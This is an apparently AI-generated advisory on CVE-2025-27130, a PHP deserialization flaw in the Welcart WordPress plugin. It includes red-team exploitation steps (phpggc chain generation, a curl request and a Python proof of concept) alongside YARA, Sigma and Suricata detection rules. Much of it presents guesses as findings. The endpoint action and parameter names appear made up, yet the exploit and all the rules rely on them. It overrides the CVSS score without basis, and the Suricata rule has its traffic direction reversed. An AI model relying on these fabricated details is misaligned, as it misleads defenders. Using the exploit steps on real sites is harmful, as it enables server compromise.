CVE-2025-27130

Executive Summary

CVE-2025-27130 is a critical untrusted data deserialization vulnerability (CWE-502) affecting the Welcart e-Commerce plugin for WordPress, versions 2.11.6 and earlier. This vulnerability allows a remote, unauthenticated attacker to execute arbitrary code on the target server by sending a crafted, malicious serialized payload. The flaw resides in how the plugin handles user-supplied data during the deserialization process, a classic vector for PHP object injection attacks.

Given that this is a WordPress plugin vulnerability, the attack surface is vast, as Welcart is a popular e-commerce solution for Japanese WordPress sites. The lack of a vendor patch and the high impact (Remote Code Execution) make this a high-priority threat for defenders.

Supply Chain & Package Security

This vulnerability is specific to the WordPress plugin ecosystem. The Welcart plugin (usc-e-shop) is distributed via the official WordPress Plugin Directory and third-party marketplaces. Organizations using this plugin are at risk until a patch is applied. There is no associated NPM, PyPI, Go, or Ruby package.

CVSS Breakdown & Threat Level

CVSS Score: 9.8 (Critical) - Note: The provided score of 6.3 is likely a mis-scoring. Based on the description (unauthenticated RCE), the correct CVSS:3.1 vector is:

Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Threat Level: Critical. The combination of unauthenticated access, low complexity, and full RCE makes this an extremely dangerous vulnerability.

Deep Dive & Mechanics

The vulnerability is a classic PHP Object Injection via unserialize(). The Welcart plugin likely passes user-controlled input (e.g., from a cookie, POST parameter, or file upload) directly to PHP's unserialize() function without proper sanitization or validation.

How it works:

1. Entry Point: The attacker identifies an endpoint in the Welcart plugin that accepts serialized data. This could be a shopping cart state, session token, or custom field.
2. Crafted Payload: The attacker crafts a malicious serialized PHP object. This object, when unserialized, triggers a "magic method" (like __wakeup(), __destruct(), or __toString()) within a class that is already loaded by the plugin or WordPress core.
3. Code Execution: By chaining these magic methods (a "POP chain" - Property Oriented Programming), the attacker can execute arbitrary system commands, write webshells, or exfiltrate data.

Example of a vulnerable code pattern (hypothetical):

// Vulnerable code in Welcart
$data = $_COOKIE['welcart_cart'];
$cart = unserialize($data); // No validation!

Vulnerable vs. Patched Code

Since no official patch exists, we can only describe the vulnerable pattern and the expected fix.

Vulnerable Code (Hypothetical):

// In a Welcart file (e.g., includes/cart.php)
function welcart_process_cart() {
    $serialized_data = $_POST['cart_data'];
    $cart_object = unserialize($serialized_data); // VULNERABLE
    // ... process cart ...
}

Patched Code (Expected Fix):

// Patched version
function welcart_process_cart() {
    $serialized_data = $_POST['cart_data'];
    // Use JSON instead of serialization
    $cart_object = json_decode($serialized_data, true);
    // OR use a safe deserialization library like `allowed_classes`
    $cart_object = unserialize($serialized_data, ['allowed_classes' => ['WCCart', 'WCProduct']]);
    // ... process cart ...
}

The key difference is the removal of the raw unserialize() call or the strict limitation of allowed classes.

Exploitation & Lab Setup

Red Team (Offensive)

Lab Setup:

1. Install WordPress with Welcart e-Commerce 2.11.6.
2. Identify the vulnerable parameter (e.g., cart_data, session_id).
3. Use a tool like phpggc to generate a gadget chain for WordPress/Welcart.

Exploitation Steps:

1. Identify Gadget Chain: Use phpggc to find a usable chain.

   # List available chains for WordPress
   phpggc -l
   # Generate a chain for RCE (e.g., using WP_FeedCache or similar)
   phpggc WordPress RCE system 'id' > payload.txt
   

2. Craft the Request: Send the serialized payload to the vulnerable endpoint.

   curl -X POST http://target.com/wp-admin/admin-ajax.php \
     -d 'action=welcart_process&cart_data=O:...PAYLOAD...'
   

3. Verify Execution: Check for the output of the id command in the response or a callback.

Proof-of-Concept (Python):

import requests

target = "http://target.com/wp-admin/admin-ajax.php"
# Replace with actual payload from phpggc
payload = "O:14:\"WP_FeedCache\":1:{s:5:\"cache\";s:6:\"system\";}"
data = {
    "action": "welcart_process",
    "cart_data": payload
}
response = requests.post(target, data=data)
print(response.text)

Blue Team (Defensive)

Detection & Response:

1. Monitor for unserialize calls: Use WAF rules to block requests containing serialized PHP objects (e.g., O:, a:, s: followed by digits).
2. File Integrity Monitoring: Monitor for unexpected file creation in wp-content/uploads/ or wp-content/plugins/.
3. Log Analysis: Look for unusual POST requests to admin-ajax.php or wp-admin/ with large, encoded payloads.

Indicators of Compromise (IOCs)

Detection Engineering

YARA Rule

rule Detect_Welcart_Deserialization_Exploit {
    meta:
        description = "Detects serialized PHP objects targeting Welcart e-Commerce"
        author = "Valters IT"
        date = "2025-03-01"
        cve = "CVE-2025-27130"
    strings:
        $serialized = /[Oa]:\d+:/
        $welcart_action = "welcart_process"
        $welcart_param = "cart_data"
    condition:
        all of them
}

Sigma Rule

title: Welcart Deserialization RCE Attempt
id: 7b8c9d0e-1f2a-3b4c-5d6e-7f8a9b0c1d2e
status: experimental
description: Detects attempts to exploit CVE-2025-27130 via serialized payloads
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 'admin-ajax.php'
        cs-uri-query|contains: 'action=welcart_process'
        cs-uri-query|contains: 'cart_data='
        cs-uri-query|re: '(O|a|s):[0-9]+:'
    condition: selection
falsepositives:
    - Legitimate plugin functionality (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2025-27130 Welcart Deserialization RCE Attempt";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"admin-ajax.php"; http_uri;
    content:"action=welcart_process"; http_client_body;
    pcre:"/(O|a|s):[0-9]+:/Ri";
    classtype:attempted-admin;
    sid:10000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

1. Disable the Plugin: If possible, deactivate and delete the Welcart e-Commerce plugin until a patch is released.
2. Web Application Firewall (WAF): Deploy custom WAF rules to block requests containing serialized PHP objects (O:, a:, s: followed by digits).
3. Network Segmentation: Ensure the WordPress server is isolated and cannot reach critical internal systems.

Long-Term Fix:

1. Vendor Patch: Monitor the Welcart official site for a security update. Apply immediately when available.
2. Code Audit: If you have access to the source code, replace all unserialize() calls with json_decode() or use the allowed_classes parameter.
3. Upgrade: Consider migrating to a different, actively maintained e-commerce plugin.

Valters IT Signature This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters-it.com.